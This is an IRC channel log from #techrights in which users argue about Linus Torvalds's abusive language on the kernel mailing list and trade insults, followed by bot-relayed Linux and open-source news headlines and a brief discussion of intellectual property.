| msb_ | keep going -- you're on a roll downhill into the mud | Oct 07 20:36 |
| MinceR | once again, do you have any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 07 20:36 |
| MinceR | ooh, ad hominem | Oct 07 20:36 |
| msb_ | Yes, in response to three presumably intentional misinterpretations of what I said. | Oct 07 20:37 |
| MinceR | you still owe all of us the official interpretation | Oct 07 20:37 |
| MinceR | as well as any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 07 20:37 |
| msb_ | I said that abusive language should be eliminated, " since the same criticisms of the code can still be communicated." That was ten minutes ago. | Oct 07 20:38 |
| cubexyz | another amusing sham message: | Oct 07 20:39 |
| cubexyz | http://www.maxhost.org/other/sham-windows-security-message.png | Oct 07 20:39 |
| MinceR | lol | Oct 07 20:39 |
| cubexyz | I'm surprised it doesn't say the "Communists are holding your Mother" | Oct 07 20:40 |
| MinceR | msb_: perhaps you should start eliminating abusive language from your own communication first. | Oct 07 20:40 |
| MinceR | cubexyz: lol | Oct 07 20:41 |
| XFaCE | MinceR: ur a poo poo head | Oct 07 20:42 |
| msb_ | MinceR: you do it against me far more often than I do it against you | Oct 07 20:42 |
| MinceR | msb_: that's probably false, but the point is that you're the one trying to use it to generate the illusion of a moral high ground you never had | Oct 07 20:44 |
| MinceR | you're trying to have all the cakes and eat all of them too | Oct 07 20:44 |
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| msb_ | MinceR: Please avoid talking about me in this discussion, which is about abusive language in the LKML. | Oct 07 20:46 |
| MinceR | msb_: you too. | Oct 07 20:47 |
| msb_ | There are some examples in this article from two years ago: http://arstechnica.com/information-technology/2013/07/linus-torvalds-defends-his-right-to-shame-linux-kernel-developers/ | Oct 07 20:48 |
| -TechrightsBot-tr/#techrights-arstechnica.com | Linus Torvalds defends his right to shame Linux kernel developers | Ars Technica [ http://ur1.ca/nyddh ] | Oct 07 20:48 | |
| MinceR | naturally, it comes from m$ spokeshole Arse Technica | Oct 07 20:48 |
| MinceR | m$ and crApple tries every last trick from the book in an attempt to eliminate competition and turn computers into zombies in their botnets | Oct 07 20:51 |
| msb_ | Starhawk talks about "power with" instead of "power over". IOW working cooperatively with people instead of dominating them. | Oct 07 20:51 |
| MinceR | and what's their design and code like? | Oct 07 20:52 |
| MinceR | i've seen plenty of people attacking free software projects under the banner of political correctness, but i have seen a lot less of their actual contributions. | Oct 07 20:52 |
| msb_ | If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated. | Oct 07 20:55 |
| MinceR | can you show me one example of linus attacking people by gender, sexual preference or skin color? | Oct 07 20:56 |
| msb_ | No, but it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them. | Oct 07 20:58 |
| MinceR | so you're basically lying by implication about linus | Oct 07 20:59 |
| MinceR | classy | Oct 07 20:59 |
| MinceR | i'm sure this is much better than using rough language | Oct 07 20:59 |
| MinceR | at any rate, i'm sure garrettix and systemd await your "morally superior" contributions | Oct 07 20:59 |
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| msb_ | On what do you base your claim that I'm "basically lying by implication about linus"? | Oct 07 21:00 |
| MinceR | 025539 < msb_> If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated. | Oct 07 21:01 |
| msb_ | And here you have done an extremely nasty personal attack. Why do you keep doing this? "i'm sure garrettix and systemd await your "morally superior" contributions" | Oct 07 21:02 |
| MinceR | that's "extremely nasty"? interesting | Oct 07 21:02 |
| MinceR | maybe you should read your own personal attacks on me, for contrast | Oct 07 21:03 |
| msb_ | And in the next sentence I said " it's also bad to attack individuals instead of politely criticising their work." | Oct 07 21:03 |
| MinceR | afaict most of the "attacks" from linus concern people's "work" | Oct 07 21:04 |
| msb_ | MinceR: Did you understand this? "it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them. | Oct 07 21:05 |
| msb_ | "e-mails from Torvalds containing language such as "Mauro, SHUT THE FUCK UP!" and "Rafael, please don't *ever* write that crap again." | Oct 07 21:07 |
| MinceR | the first basically applies to Mauro's message | Oct 07 21:07 |
| MinceR | in the second, "that crap" is not a person, it's something they wrote | Oct 07 21:07 |
| msb_ | If you can't see that "Mauro, SHUT THE FUCK UP!" applies to a person, then you are distorting reality in an effort to prove your claim. | Oct 07 21:09 |
| MinceR | you obviously know everything about distorting reality in an effort to prove your claim | Oct 07 21:10 |
| MinceR | it comes from https://lkml.org/lkml/2012/12/23/75 | Oct 07 21:12 |
| -TechrightsBot-tr/#techrights-lkml.org | LKML: Linus Torvalds: Re: [Regression w/ patch] Media commit causes user space to misbahave (was: Re: Linux 3.8-rc1) | Oct 07 21:12 | |
| MinceR | though i doubt context will help you at all | Oct 07 21:12 |
| msb_ | It's at times like this that I think I'm talking to ELIZA or DOCTOR. | Oct 07 21:12 |
| MinceR | it's at times like this that i think i'm talking to a nutcase. | Oct 07 21:13 |
| MinceR | oh wait. | Oct 07 21:13 |
| msb_ | ...or PARRY. | Oct 07 21:13 |
| MinceR | again and again you prove that engaging you in conversation is a pure waste of resources | Oct 07 21:14 |
| msb_ | A canned response. We'll let the readers (if any) decide for themselves. | Oct 07 21:16 |
| msb_ | NoMoRobo is working! | Oct 07 21:17 |
| msb_ | One ringydingy and the ghoul is gone. | Oct 07 21:17 |
| MinceR | m$ is waiting for you to install Definitely Morally Superior vista10 on your pc | Oct 07 21:17 |
| MinceR | not touched by mean ol' Linus! | Oct 07 21:17 |
| MinceR | (after all, politically incorrect conversations that happen on private mailing fora you can't see might as well not have happened, right?) | Oct 07 21:19 |
| XFaCE | MinceR: does that mean Ballmer committed cyberviolence with "I'm going to fucking kill Google"? | Oct 07 21:19 |
| MinceR | i don't know, ask the sjw-s | Oct 07 21:19 |
| cubexyz | ha, Google is growing and Microsoft is diminishing | Oct 07 21:20 |
| cubexyz | Ballmer is a fat sweaty blow-hard anyways | Oct 07 21:21 |
| cubexyz | no wonder Microsoft is tanking | Oct 07 21:22 |
| XFaCE | cubexyz: that's is abusive and non-productive | Oct 07 21:22 |
| XFaCE | submit yourself to the speech police now | Oct 07 21:22 |
| MinceR | lol | Oct 07 21:22 |
| XFaCE | very VERY problematic | Oct 07 21:23 |
| MinceR | in the name of Freedom of Speech, you must run all your communications by the Political Correctness Officer for approval! | Oct 07 21:23 |
| cubexyz | developers! developers! developers! :) | Oct 07 21:24 |
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| cubexyz | http://www.maxhost.org/other/windows-10-install-error.png | Oct 07 22:56 |
| cubexyz | you really can't make this stuff up | Oct 07 22:57 |
| MinceR | :) | Oct 07 22:57 |
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| cubexyz | http://www.maxhost.org/other/windows-10-we-fixed-everything.jpg | Oct 07 23:10 |
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| msb_ | MinceR: I've recorded that hate-session from you, along with a couple of others. Eventually I'll make a section in my website for them. Since you think you've done nothing wrong, that shouldn't bother you. | Oct 08 00:10 |
| msb_ | I have stuff on another psychopath up there that was attacking me in comp.os.linux.advocacy. Once I put the page up, he stopped, and begged me to take it down. But I won't. Cockroaches hate the light. | Oct 08 00:14 |
| msb_ | I have logs from all the time I've been in techrights. There's lots of rich Mincer material in them. Constant attacks on me. They'll be easy to find. | Oct 08 00:15 |
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| cubexyz | lol, the Var Guy doesn't know his history very well | Oct 08 00:45 |
| cubexyz | TCP/IP was added to 4.2BSD in 1982 | Oct 08 00:46 |
| cubexyz | the internet predates the world wide web by a significant number of years | Oct 08 00:46 |
| cubexyz | Had the Linux Foundation said WWW rather than Internet it would have made a bit more sense | Oct 08 00:47 |
| cubexyz | that was when people started using the word 'internet', the earliest email I have about it is July 1982 | Oct 08 00:53 |
| cubexyz | http://www.maxhost.org/other/internet-email-july-1982.txt | Oct 08 00:55 |
| cubexyz | there was networking before TCP/IP of course | Oct 08 01:02 |
| cubexyz | NCP was it's predecessor | Oct 08 01:03 |
| cubexyz | FTP predates TCP/IP and originally ran under NCP | Oct 08 01:03 |
| cubexyz | https://tools.ietf.org/html/rfc801 | Oct 08 01:05 |
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| schestowitz | <XFaCE> MinceR: Lennart endorses Garrettix in 5 4 3 2... | Oct 08 03:01 |
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| TweetTuxMachines | http://t.co/xnhSaDFNaG (www.govconwire.com) | Oct 08 04:28 |
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| -TechrightsBot-tr/#techrights-www.govconwire.com | Paul Smith: Red Hat Hosts IT Event on Open Source Tools in Government | Oct 08 04:28 | |
| TweetTuxMachines | @tuxmachines Manjaro Cinnamon Edition 15.09-1 released | Oct 08 04:28 |
| TweetTuxMachines | https://t.co/zzIUUACc5C (manjaro.github.io) | Oct 08 04:28 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygmq | Oct 08 04:28 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Cinnamon Edition 15.09-1 released – Manjaro Linux – Enjoy the simplicity | Oct 08 04:28 | |
| TweetTuxMachines | @tuxmachines Proposed Principles for Content Blocking | Oct 08 04:59 |
| TweetTuxMachines | http://t.co/iilOvHwSWc (www.tuxmachines.org) | Oct 08 04:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygu1 | Oct 08 04:59 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Proposed Principles for Content Blocking | Tux Machines | Oct 08 04:59 | |
| TweetTuxMachines | @tuxmachines Raspbian Jessie Lives Up to the Hype | Oct 08 04:59 |
| TweetTuxMachines | http://t.co/6g84CFOrhL (fossforce.com) | Oct 08 04:59 |
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| -TechrightsBot-tr/#techrights-fossforce.com | Raspbian Jessie Lives Up to the Hype | FOSS Force | Oct 08 04:59 | |
| TweetTuxMachines | @tuxmachines Linux Security: Lock Down a New System | Oct 08 04:59 |
| TweetTuxMachines | Immediately http://t.co/odcnGqh3MD | Oct 08 04:59 |
| TweetTuxMachines | (thelinuxworks.blogspot.co.uk) | Oct 08 04:59 |
| -TechrightsBot-tr/#techrights-thelinuxworks.blogspot.co.uk | The Linux Works: Linux Security: Lock Down a New System Immediately | Oct 08 04:59 | |
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| schestowitz | http://ubuntuforums.org/showthread.php?t=2297282 | Oct 08 05:00 |
| -TechrightsBot-tr/#techrights-ubuntuforums.org | Rumor that Microsoft is buying Canonical and Ubuntu [ http://ur1.ca/nygud ] | Oct 08 05:00 | |
| schestowitz | https://twitter.com/ale_fattorini/status/652046792901677056 | Oct 08 05:05 |
| -TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz good to know! I want know more about your tests, please keep me in touch :-) | Oct 08 05:05 | |
| schestowitz | https://twitter.com/smmsadrnezh/status/652046697321865216 | Oct 08 05:06 |
| -TechrightsBot-tr/#techrights-@smmsadrnezh: مایکروسافت تمام تلاشش رو میکنه تا همرو مجبور کنه به ویندوز ۱۰ آپگرید کنن درحالیکه مردم بیشتر کرومبوک میخرن این روزا http://t.co/o3JuaGjCjI | Oct 08 05:06 | |
| -TechrightsBot-tr/#techrights--> techrights.org | Microsoft-Connected Firm Net Applications Used to Mislead About Vista 10 Share and Mock GNU/Linux | Techrights | Oct 08 05:06 | |
| gde33 | Here is a nice idea to move away from the paradigm: In stead of having society pay for all this intelectual propertarding we should make the ip holder pay a montly fee for all this enforcement we are buying + 20% taxes. | Oct 08 05:11 |
| gde33 | Each item of music or video that needs to be filtered out has a quantifiable cost. | Oct 08 05:12 |
| gde33 | Each patent not implemented costs society a good bit of progress. | Oct 08 05:13 |
| msb_ | "Proposed Principles for Content Blocking" -- Nope. The very first thing I want to block is advertising. Which I do with AdBlockPlus. | Oct 08 05:14 |
| gde33 | I'm against all IP, the only one I'm doubting is trademarks | Oct 08 05:15 |
| gde33 | We are suppose to believe people will stop making music or medicine without it. | Oct 08 05:15 |
| gde33 | The opposite is true | Oct 08 05:16 |
| gde33 | We already have a billion songs that no one is suppose to freely access. | Oct 08 05:16 |
| gde33 | And a billion cures | Oct 08 05:16 |
| gde33 | in stead of sharing those things they are being destroyed | Oct 08 05:17 |
| msb_ | There are some things we still need a cure for -- AIDS, aging... | Oct 08 05:17 |
| gde33 | IP is just to cheap, people hold rights until the very things the rights apply to are gone. | Oct 08 05:18 |
| gde33 | why would you think there is no cure for aids or aging? | Oct 08 05:18 |
| gde33 | you seem to mis the core mechanic of ip secrecy | Oct 08 05:18 |
| gde33 | there is no excuse in those 2 examples to keep millions of drugs off the market | Oct 08 05:19 |
| gde33 | I'm not willing to pay for the enforcement of that scheme | Oct 08 05:19 |
| gde33 | It completely mimics the Spanish Inquisition | Oct 08 05:20 |
| gde33 | the similarities are striking | Oct 08 05:20 |
| gde33 | this idea that without ip there wouldnt be healthcare. bwhaha | Oct 08 05:21 |
| gde33 | if we dont hire a million lawyers with public funds we cant afford to do research anymore. bwhaha | Oct 08 05:21 |
| gde33 | a million lawyers costing 100 k each | Oct 08 05:22 |
| msb_ | You are misinterpreting what I said. You said, "[we have] a billion cures", and I just said we still need a few more. I was not commenting on IP. | Oct 08 05:23 |
| gde33 | what do you mean we need a few more? | Oct 08 05:23 |
| schestowitz | https://twitter.com/PositivelyJoan/status/652050501790527488 | Oct 08 05:23 |
| -TechrightsBot-tr/#techrights-@PositivelyJoan: Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft http://t.co/owA81usQ8B Like #Koch, philanthropist my ASSett! #GMOs | Oct 08 05:23 | |
| -TechrightsBot-tr/#techrights--> linkis.com | Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft | Techrights - Linkis.com | Oct 08 05:23 | |
| gde33 | if you think we need that you should spend your money on it :) | Oct 08 05:24 |
| gde33 | might be interesting | Oct 08 05:24 |
| gde33 | do a kickstarter for some disease | Oct 08 05:24 |
| TweetTuxMachines | @tuxmachines Microsoft Ubuntu Rumors and Kernel Resignation | Oct 08 05:42 |
| TweetTuxMachines | Opinions http://t.co/gjPIbpHirA (ostatic.com) | Oct 08 05:42 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Microsoft Ubuntu Rumors and Kernel Resignation Opinions | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Is Planning To Make The ZFS File-System | Oct 08 05:42 |
| TweetTuxMachines | A "Standard" Offering http://t.co/60BCUQbk8Z | Oct 08 05:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 05:42 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Is Planning To Make The ZFS File-System A "Standard" Offering - Phoronix | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES | Oct 08 05:42 |
| TweetTuxMachines | & UEFI Fun http://t.co/cAf4CZhptR | Oct 08 05:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 05:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4h | Oct 08 05:42 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES & UEFI Fun - Phoronix | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/4ZkTLJXVyr | Oct 08 05:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 05:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 05:42 |
| TweetTuxMachines | http://t.co/iPLRa07U8s (www.tuxmachines.org) | Oct 08 05:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4k | Oct 08 05:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | One Uncle's gift of Linux | Tux Machines | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 05:42 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/ZvPPG7UYJM | Oct 08 05:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 05:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4m | Oct 08 05:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones | Tux Machines | Oct 08 05:42 | |
| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 05:42 |
| TweetTuxMachines | of Awesome New Features http://t.co/6dkh5Q8CX2 | Oct 08 05:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 05:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features | Tux Machines | Oct 08 05:42 | |
| -->XRevan86 (~XRevan86@meowr.ru) has joined #techrights | Oct 08 05:45 | |
| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 05:58 |
| TweetTuxMachines | http://t.co/QmXjvoFigw (www.tuxmachines.org) | Oct 08 05:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8a | Oct 08 05:58 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Track the night sky with Stellarium on Fedora | Tux Machines | Oct 08 05:58 | |
| TweetTuxMachines | @tuxmachines Magicka 2 Looks Like It Will Land On Linux | Oct 08 05:58 |
| TweetTuxMachines | Soon, Having Final Tweaks | Oct 08 05:58 |
| TweetTuxMachines | https://t.co/0XvyyMDJap (www.gamingonlinux.com) | Oct 08 05:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8e | Oct 08 05:58 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Magicka 2 Looks Like It Will Land On Linux Soon, Having Final Tweaks | GamingOnLinux | Oct 08 05:59 | |
| TweetTuxMachines | @tuxmachines “Linux To Be A First Class Citizen Here” | Oct 08 05:59 |
| TweetTuxMachines | http://t.co/InXFeIvgev (www.gamingonlinux.com) | Oct 08 05:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8j | Oct 08 05:59 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Testers Needed For 'Quasar' An Online Bullet Hell Space Shooter, Linux To Be A First Class Citizen Here | GamingOnLinux | Oct 08 05:59 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 06:01 |
| TweetTuxMachines | wasn’t reached, the game got a day-one release | Oct 08 06:01 |
| TweetTuxMachines | for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 06:01 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 08 06:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh98 | Oct 08 06:01 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 06:01 | |
| *TweetTuxMachines @ROM2064 retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 06:01 | |
| *TweetTuxMachines @GXdev retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 06:01 | |
| *TweetTuxMachines @WeAreMidBoss retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 06:03 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 06:03 |
| TweetTuxMachines | Linux Kernel http://t.co/2ZSJbTaXDt | Oct 08 06:03 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 06:03 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Unprivileged eBPF Support In The Works For The Linux Kernel - Phoronix | Oct 08 06:03 | |
| *TweetTuxMachines @doorfighter favourited '“in spite of Linux being a stretch goal...' | Oct 08 06:08 | |
| *TweetTuxMachines @dialecticube favourited '“in spite of Linux being a stretch goal...' | Oct 08 06:08 | |
| *TweetTuxMachines @RedVonix favourited '“in spite of Linux being a stretch goal...' | Oct 08 06:16 | |
| TweetTuxMachines | @tuxmachines Linksys unveils Linux-powered WRT1900ACS router | Oct 08 06:16 |
| TweetTuxMachines | -- open source, faster CPU, more RAM | Oct 08 06:16 |
| TweetTuxMachines | http://t.co/YCEMb95uhc (betanews.com) | Oct 08 06:16 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhe1 | Oct 08 06:16 |
| -TechrightsBot-tr/#techrights-betanews.com | Linksys unveils Linux-powered WRT1900ACS router -- open source, faster CPU, more RAM | Oct 08 06:16 | |
| TweetTuxMachines | @tuxmachines Puppy Linux-Based Quirky 7.2 Distro for Android | Oct 08 06:20 |
| TweetTuxMachines | Devs Gets Major X11 Update | Oct 08 06:20 |
| TweetTuxMachines | http://t.co/WGyP1d4m7p (news.softpedia.com) | Oct 08 06:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf7 | Oct 08 06:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky 7.2 Distro for Android Devs Gets Major X11 Update - Softpedia | Oct 08 06:20 | |
| TweetTuxMachines | @tuxmachines Linux Kernel 3.12.49 LTS Out Now with PowerPC | Oct 08 06:20 |
| TweetTuxMachines | and ARM64 Improvements, More | Oct 08 06:20 |
| TweetTuxMachines | http://t.co/Cc9596CfjJ (news.softpedia.com) | Oct 08 06:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf8 | Oct 08 06:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.12.49 LTS Out Now with PowerPC and ARM64 Improvements, More - Softpedia | Oct 08 06:20 | |
| TweetTuxMachines | @tuxmachines HP and pals release open source switch OS | Oct 08 06:21 |
| TweetTuxMachines | http://t.co/7IqkNsj4hf (www.theregister.co.uk) | Oct 08 06:21 |
| TweetTuxMachines | "NOS is Linux-based." | Oct 08 06:21 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | HP and pals release open source switch OS • The Register | Oct 08 06:21 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf9 | Oct 08 06:21 |
| TweetTuxMachines | @tuxmachines Enlightenment 0.19.12 Desktop Environment Drops | Oct 08 06:26 |
| TweetTuxMachines | Support for Wayland http://t.co/GijwOJed3c | Oct 08 06:26 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 06:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgr | Oct 08 06:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Enlightenment 0.19.12 Desktop Environment Drops Support for Wayland - Softpedia | Oct 08 06:26 | |
| TweetTuxMachines | @tuxmachines Calligra Words Port to KDE Frameworks 5 and Qt | Oct 08 06:26 |
| TweetTuxMachines | 5 Now Complete, Here's How It Looks | Oct 08 06:26 |
| TweetTuxMachines | http://t.co/AU4ZDZDF8j (news.softpedia.com) | Oct 08 06:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgs | Oct 08 06:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Calligra Words Port to KDE Frameworks 5 and Qt 5 Now Complete, Here's How It Looks - Softpedia | Oct 08 06:26 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 06:26 |
| TweetTuxMachines | http://t.co/SOeRts13nv (opensource.com) | Oct 08 06:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgt | Oct 08 06:26 |
| -TechrightsBot-tr/#techrights-opensource.com | Anderson Silva: My Linux Story | Opensource.com | Oct 08 06:26 | |
| *TweetTuxMachines @techmuser favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 06:26 | |
| *TweetTuxMachines @samkamyar favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 06:27 | |
| *TweetTuxMachines @samkamyar followed @tuxmachines | Oct 08 06:27 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 06:27 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/SOeRts13nv | Oct 08 06:27 |
| TweetTuxMachines | (opensource.com) | Oct 08 06:27 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhh7 | Oct 08 06:27 |
| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 06:34 |
| TweetTuxMachines | of Awesome New Features http://t.co/oqnz34sgUR | Oct 08 06:34 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 06:34 |
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| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 06:34 |
| TweetTuxMachines | http://t.co/qzRaIFzmzZ (fedoramagazine.org) | Oct 08 06:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhja | Oct 08 06:34 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features - Softpedia | Oct 08 06:34 | |
| -TechrightsBot-tr/#techrights-fedoramagazine.org | Track the night sky with Stellarium on Fedora - Fedora Magazine | Oct 08 06:34 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 06:34 |
| TweetTuxMachines | http://t.co/n7D2Ukakmf | Oct 08 06:34 |
| TweetTuxMachines | (blog.martin-graesslin.com) | Oct 08 06:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhjb | Oct 08 06:34 |
| -TechrightsBot-tr/#techrights-blog.martin-graesslin.com | September update for Plasma’s Wayland porting | Martin's Blog | Oct 08 06:34 | |
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| TweetTuxMachines | @tuxmachines Team Fortress 2 Gets Big Community Update on | Oct 08 06:51 |
| TweetTuxMachines | Steam for Linux http://t.co/r7LBxXoaGv | Oct 08 06:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 06:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Team Fortress 2 Gets Big Community Update on Steam for Linux - Softpedia | Oct 08 06:51 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhoc | Oct 08 06:51 |
| TweetTuxMachines | @tuxmachines Manjaro Linux Devs Are in Search for a New Logo | Oct 08 06:51 |
| TweetTuxMachines | for the Project http://t.co/ayToLs1gcB | Oct 08 06:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 06:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Devs Are in Search for a New Logo for the Project - Softpedia | Oct 08 06:51 | |
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| *TweetTuxMachines @tuxmachines deleted 'Ubuntu Touch OTA-7 Will Arrive on October 19...' | Oct 08 06:51 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 06:51 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/LpyYKfbcs5 | Oct 08 06:51 |
| TweetTuxMachines | (linux.softpedia.com) | Oct 08 06:51 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones - Softpedia | Oct 08 06:51 | |
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| -->amonobeax (~amonobe@179.153.34.78) has joined #techrights | Oct 08 06:52 | |
| TweetTuxMachines | @tuxmachines "The Open Network Linux OS... days after HP and | Oct 08 07:00 |
| TweetTuxMachines | partners announced their own open-source | Oct 08 07:00 |
| TweetTuxMachines | network OS, OpenSwitch." http://t.co/vmfTHnK3L7 | Oct 08 07:00 |
| TweetTuxMachines | (www.eweek.com) | Oct 08 07:00 |
| -TechrightsBot-tr/#techrights-www.eweek.com | Big Switch, Facebook to Demonstrate Open Switch Software | Oct 08 07:00 | |
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| TweetTuxMachines | @tuxmachines Prison Architect 1.0 Is Finally Here, Lets You | Oct 08 07:00 |
| TweetTuxMachines | Build and Manage the Most Secure Prison | Oct 08 07:00 |
| TweetTuxMachines | http://t.co/9jBuazEa9z (news.softpedia.com) | Oct 08 07:00 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Prison Architect 1.0 Is Finally Here, Lets You Build and Manage the Most Secure Prison - Softpedia | Oct 08 07:00 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 07:00 |
| TweetTuxMachines | http://t.co/qDY8jW8TpI (linux.softpedia.com) | Oct 08 07:00 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME 3.20 to Be Dubbed Delhi - Softpedia | Oct 08 07:00 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 07:01 |
| TweetTuxMachines | Linux Kernel http://t.co/gLEQsae3XM | Oct 08 07:01 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 07:01 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Unprivileged eBPF Support In The Works For The Linux Kernel | Tux Machines | Oct 08 07:01 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 07:01 |
| TweetTuxMachines | http://t.co/0b7KGwempw (www.tuxmachines.org) | Oct 08 07:01 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | September update for Plasma’s Wayland porting | Tux Machines | Oct 08 07:01 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 07:01 |
| TweetTuxMachines | http://t.co/B93YUsFUwG (www.tuxmachines.org) | Oct 08 07:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhrm | Oct 08 07:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GNOME 3.20 to Be Dubbed Delhi | Tux Machines | Oct 08 07:01 | |
| schestowitz | https://twitter.com/Zeipt/status/652069832842702849 | Oct 08 07:15 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz no, thanx)) better - preseed/late_command="in-target apt-get install -y sysvinit-core" | Oct 08 07:15 | |
| <--amonobeax (~amonobe@179.153.34.78) has left #techrights ("Leaving") | Oct 08 07:43 | |
| TweetTuxMachines | @tuxmachines Open Source for Log Analytics – Let’s get | Oct 08 07:44 |
